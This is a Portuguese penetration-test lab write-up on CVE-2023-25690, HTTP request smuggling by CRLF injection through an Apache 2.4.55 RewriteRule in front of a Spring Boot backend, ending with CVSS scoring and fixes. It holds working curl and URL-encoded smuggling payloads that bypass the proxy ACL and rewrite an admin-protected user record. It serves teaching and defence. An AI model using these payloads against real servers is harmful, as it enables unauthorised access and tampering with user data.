
Laboratório de contrabando de requisições HTTP: injeção CRLF no Apache 2.4.55
| Componente | Função | Versão |
|---|
| Apache HTTP Server | Reverse Proxy | 2.4.55 (vulnerável) |
| Spring Boot (Tomcat embarcado) | Backend API | 4.x (Java 21) |
| SQLite | Banco de dados | — |
Usuário ──► Apache :80 (Proxy) ──► Spring Boot :8080 (Backend) ──► SQLite
│
├─ mod_rewrite + mod_proxy
├─ CVE-2023-25690: CRLF não sanitizados
├─ RewriteRule "^/public/?(.*)" "http://spring-backend:8080/public/$1" [P]
├─ RewriteRule "^/service/(.*)" "http://spring-backend:8080/api/status?name=$1" [P]
└─ ACL: <Location "/admin"> bloqueado
POST /public/register: permite o registro de usuários no banco de dados
POST /public/login: permite o login através da verificação das credenciais inseridas e libera um token de sessão
GET /public/dashboard: área restrita dos usuários
GET /api/status: aceita o parâmetro "name", é um endpoint de exemplo para verificação do estado dos serviços
GET /public/logout
POST /admin/edit/{id}/{newName}/{newPass}: é uma rota teoricamente inacessível ao público que permite aos administradores modificar os dados dos usuários
Durante a atividade de teste de penetração foi identificada uma vulnerabilidade crítica na infraestrutura de reverse proxy que expõe o backend Spring Boot. O proxy Apache HTTP Server versão 2.4.55 é afetado pela vulnerabilidade CVE-2023-25690 (HTTP Request Smuggling), que permite a um atacante contornar os filtros de segurança impostos no proxy e alcançar diretamente endpoints administrativos internos não protegidos.
O ataque explora a ausência de sanitização dos caracteres de controle (CRLF) nas RewriteRule do Apache, permitindo a injeção de uma segunda requisição HTTP entre os parâmetros de uma requisição legítima direcionada ao backend. A prova de conceito demonstrou a modificação não autorizada das credenciais de usuário no banco de dados através do endpoint /admin/edit/{id}/{newName}/{newPass}, teoricamente protegido pelas ACLs do proxy.
Recomendações: Atualizar imediatamente o Apache HTTP Server para a versão ≥ 2.4.56, reforçar os filtros de segurança no proxy e implementar uma camada de segurança no backend (Spring Security) para todos os endpoints sensíveis.
Identificação da versão do Apache através da análise dos cabeçalhos HTTP da resposta.
$ curl -I http://localhost/service/
HTTP/1.1 200
Date: Sun, 21 Jun 2026 08:54:00 GMT
Server: Apache/2.4.55 (Unix)
Content-Type: text/plain;charset=UTF-8
Content-Length: 42
Resultado: O cabeçalho do servidor revela Apache/2.4.55. Consulta ao banco de dados de CVEs → correspondência com CVE-2023-25690.
De acordo com a CVE, nesta versão do Apache, se houver uma RewriteRule que copie caracteres genéricos provenientes da requisição ao proxy no URL de destino do backend, o texto transcrito não é sanitizado, portanto caracteres de controle (como retornos de linha) também passam.
Por exemplo: RewriteRule "^/here/(.*)" "http://backend.com:8080/elsewhere?$1" [P] // a letra P indica o modo proxy
Portanto, agora nosso objetivo é descobrir um possível endpoint que realize essa transcrição no nível do proxy
A partir da análise das respostas e do comportamento da aplicação, observa-se que a sessão é gerenciada através de JSESSIONID, o que confirma o uso de um Servlet Container Java (como Apache Tomcat, Jetty ou WildFly). Além disso, a requisição a endpoints inexistentes retorna uma "Whitelabel Error Page", o que indica que há Spring Boot no backend.
Através de um script bash para automação de fuzzing com dicionário, foram mapeados os endpoints expostos na rede (presumivelmente todos).
Resultado:
| Endpoint | Código HTTP | Método | Parâmetros |
|---|---|---|---|
| admin | 403 | GET | (sem parâmetros) |
| public/register | 200 | POST | user=test&pass=test |
| public/login | 200 | POST | user=test&pass=test |
| public/dashboard | 200 | GET | (sem parâmetros) |
| public/logout | 200 | GET | (sem parâmetros) |
| api/status | 200 | GET | (sem parâmetros) |
| service/* | 200 | GET | (sem parâmetros) |
Dado que
retornam ambas a mesma resposta, entende-se que apontam para o mesmo endpoint do backend. Além disso, como requisições como /service/x/y/z (que muito provavelmente não existem) não retornam 404, pode-se deduzir que o endpoint original aceita um parâmetro e não uma path variable. Portanto, em conclusão, pode-se deduzir que as requisições para /service/<serviço> são traduzidas com uma RewriteRule para o backend Spring Boot (exatamente o que procurávamos). Agora é preciso entender se essa RewriteRule é genérica, ou seja, usa uma regex do tipo .* ou se é bem estruturada.
Tento inserir caracteres de controle na requisição para dividir o conteúdo legítimo do oculto:
curl -v --path-as-is 'localhost/service/x%20HTTP/1.1%0d%0aHost:%20spring-backend%0d%0a%0d%0aprova:%20ok%0d%0atrash_header:%20'
>> ... HTTP/1.1 200 ... O serviço 'x' está operacional e estável.
Inseri um parâmetro customizado para verificar se os CRLFs são interpretados corretamente
trash_header tem a função de encapsular os cabeçalhos que o Apache inserirá na requisição ao backend (dessa forma, eles serão interpretados como simples texto de X-Header e não terão valor para a requisição HTTP)
Com tcpdump no container do backend, tive a oportunidade de interceptar a requisição HTTP proveniente do Apache:
docker exec -it apache_vuln-spring-backend-1 sh
apk add tcpdump
tcpdump -i any -A port 8080
O backend vê esta requisição:
GET /api/status?name=x HTTP/1.1
Host: spring-backend
prova: ok
trash_header: HTTP/1.1
Host: spring-backend:8080
User-Agent: curl/7.81.0
Accept: */*
X-Forwarded-For: 172.19.0.1
X-Forwarded-Host: localhost
X-Forwarded-Server: localhost
Connection: Keep-Alive
"Os caracteres de controle controlaram"
A resposta me indica que a parte com os caracteres de controle passou incólume como estrutura da própria requisição HTTP e não simplesmente como parâmetro (pois o nome interceptado pelo backend é apenas 'x'). Portanto, impusemos o formato da requisição HTTP direcionada ao backend e o proxy a aceitou. Isso abre caminho para o payload real de smuggling.
| Endpoint | Método | Acesso | Observações |
|---|---|---|---|
/public/register | POST | Público | Registro de usuário |
/public/login | POST | Público | Login, libera JSESSIONID |
/public/dashboard | GET | Autenticado | Área restrita |
/public/logout | GET | Público | Destrói sessão |
/api/status?name= | GET | Público | Health check |
/service/{param} | GET | Público | Gateway vulnerável ($1 na query string) |
/admin/edit/{id}/{n}/{p} | POST | Protegido (ACL) | Modifica credenciais de usuário |
/admin/ | * | Bloqueado (403) | ACL do Apache |
Forçar o reverse proxy Apache a encaminhar duas requisições distintas ao backend Spring Boot, fazendo com que a segunda requisição alcance o endpoint /admin/edit/ contornando o filtro ACL do Apache.
Nesta fase, imagine que localhost e spring-backend sejam, respectivamente, os endereços públicos do proxy e do servidor. No caso de proxy e backend estarem na mesma rede (ou organização), spring-backend será um IP privado (que infelizmente seria difícil de conhecer)
A vulnerabilidade reside na RewriteRule:
RewriteRule "^/service/(.*)" "http://spring-backend:8080/api/status?name=$1" [P]
O proxy captura a entrada do usuário em $1 e a insere na query string sem sanitizar os caracteres de controle (%20, %0d%0a). O backend (Tomcat) interpreta esses caracteres como término do URL e início de uma nova requisição HTTP no mesmo socket TCP.
A) GET /service/x → Parte legítima; tudo o que vem depois de /service/
termina em $1 (parâmetro name)
B) %20HTTP/1.1 → [Ponto de Divisão] Espaço que encerra
prematuramente o URL no backend
C) %0d%0aHost:...%0d%0a%0d%0a → [Injeção de Cabeçalho] CRLF para encerrar
a primeira requisição
D) POST /admin/edit/1/HACKED/PWNED → [Requisição Contrabandeada] Requisição
maliciosa oculta direcionada ao endpoint admin
E) %20HTTP/1.1 → Versão HTTP para a segunda requisição
F) %0d%0aContent-Length:%200 → Corpo vazio para o POST
%0d%0aConnection:%20close
%0d%0aX-Header:%20 → [Sumidouro de Cabeçalho] Absorve cabeçalhos adicionados
automaticamente pelo Apache
GET /service/x%20HTTP/1.1%0d%0aHost:%20spring-backend%0d%0a%0d%0aPOST%20/admin/edit/1/HACKED/PWNED%20HTTP/1.1%0d%0aContent-Length:%200%0d%0aConnection:%20close%0d%0aX-Header:%20 HTTP/1.1
Host: localhost
O que o Apache vê (uma única requisição):
GET /service/x%20HTTP/1.1%0d%0a... HTTP/1.1
Host: localhost
O que o backend recebe (duas requisições no mesmo socket):
--- Requisição 1 (legítima, mas "mutilada") ---
GET /api/status?name=x HTTP/1.1
Host: spring-backend
--- Requisição 2 (contrabandeada) ---
POST /admin/edit/1/HACKED/PWNED HTTP/1.1
Content-Length: 0
Connection: close
X-Header:
>> ... HTTP/1.1 200 ... O serviço 'x' está operacional e estável.
O usuário com ID 1 foi renomeado para HACKED com a senha PWNED — contorno total das ACLs do proxy.
Acesso direto ao banco de dados para confirmação:
$ docker exec apache_vuln-spring-backend-1 sqlite3 /app/users.db "SELECT * FROM user;"
1|HACKED|PWNED
| ID | Descrição |
|---|---|
| CVE-2023-25690 | Apache HTTP Server HTTP Request Smuggling via mod_proxy com RewriteRule/ProxyPassMatch |
| CWE-444 | Interpretação Inconsistente de Requisições HTTP ('HTTP Request/Response Smuggling') |
| CWE-113 | Neutralização Incorreta de Sequências CRLF em Cabeçalhos HTTP ('HTTP Response Splitting') |
| Métrica | Valor | Descrição |
|---|---|---|
| Vetor de Ataque (AV) | N (Rede) | Acessível a partir de rede remota |
| Complexidade do Ataque (AC) | L (Baixa) | Nenhuma condição especial |
| Privilégios Necessários (PR) | N (Nenhum) | Nenhuma autenticação exigida |
| Interação do Usuário (UI) | N (Nenhuma) | Não requer interação da vítima |
| Escopo (S) | C (Alterado) | O componente vulnerável é diferente do afetado |
| Confidencialidade (C) | H (Alta) | Acesso a endpoints restritos |
| Integridade (I) | H (Alta) | Modificação de dados de usuário no banco de dados |
| Disponibilidade (A) | H (Alta) | Possível cache poisoning do proxy / Contaminação dos sockets |
Pontuação Base: 10.0 (CRÍTICA) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
| Métrica | Valor | Descrição |
|---|---|---|
| Maturidade do Código de Exploit (E) | F (Exploit funcional existe) | Exploit funcional |
| Nível de Remediação (RL) | O (Correção Oficial) | Nas versões posteriores do Apache, o bug foi corrigido |
| Confiança do Relatório (RC) | C (Confirmada) | Vulnerabilidade confirmada e documentada |
Pontuação Temporal: 9.3 (ALTA)
| Métrica | Valor | Descrição |
|---|---|---|
| Vetor de Ataque (MAV) | N (Rede) | Proxy exposto na internet |
| Complexidade do Ataque (MAC) | H (Alta) | Requer conhecimento da estrutura dos endpoints internos |
| Privilégios Necessários (MPR) | L (Baixa) | Não são necessários privilégios de nenhum tipo |
| Interação do Usuário (MUI) | N (Nenhuma) | Não é necessária interação de usuários externos |
| Escopo (MS) | C (Alterado) | Um sistema é violado através de outro |
| Métricas de Impacto (MC/MI/MA) | H/H/H | Dano máximo (modificação de dados no banco de dados) |
| Requisitos de CIA (CR/IR/AR) | H/H/H | Sistema crítico (login de usuários) |
Pontuação Ambiental: 8.0 (ALTA)
String do Vetor: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H/E:F/RL:O/RC:C/CR:H/IR:H/AR:H/MAV:N/MAC:H/MPR:L/MUI:N/MS:C/MC:H/MI:H/MA:H
Pontuação Geral: 8.0 — ALTA
Atualizar o Apache HTTP Server para a versão ≥ 2.4.56, onde a sanitização dos caracteres de controle nas RewriteRule com o flag [P] é forçada no nível do núcleo do servidor.
| Versão atual | Versão alvo | Correção |
|---|---|---|
| 2.4.55 | 2.4.56+ | Sanitização automática de CRLF no mod_proxy |
Adicionar spring-boot-starter-security ao pom.xml:
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-security</artifactId>
</dependency>
Configurar um SecurityFilterChain que proteja os endpoints administrativos:
@Configuration
@EnableWebSecurity
public class SecurityConfig {
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http
.authorizeHttpRequests(auth -> auth
.requestMatchers("/public/**").permitAll()
.requestMatchers("/api/**").permitAll()
.requestMatchers("/admin/**").hasRole("ADMIN")
.anyRequest().authenticated()
)
.httpBasic(Customizer.withDefaults())
.sessionManagement(session -> session
.sessionCreationPolicy(SessionCreationPolicy.IF_REQUIRED));
return http.build();
}
}
Adicionar verificações em todos os parâmetros aceitos pelos endpoints (query string, path variables, form data):
@PostMapping("/admin/edit/{id}/{newName}/{newPass}")
public String adminEdit(
@PathVariable Long id,
@PathVariable @NotBlank String newName,
@PathVariable @NotBlank String newPass,
HttpSession session) {
// Verifica se o usuário tem a função ADMIN
User loggedUser = (User) session.getAttribute("LOGGED_USER");
if (loggedUser == null || !loggedUser.hasAdminRole()) {
return "Acesso negado";
}
// ... operação permitida somente após verificação de autenticação
}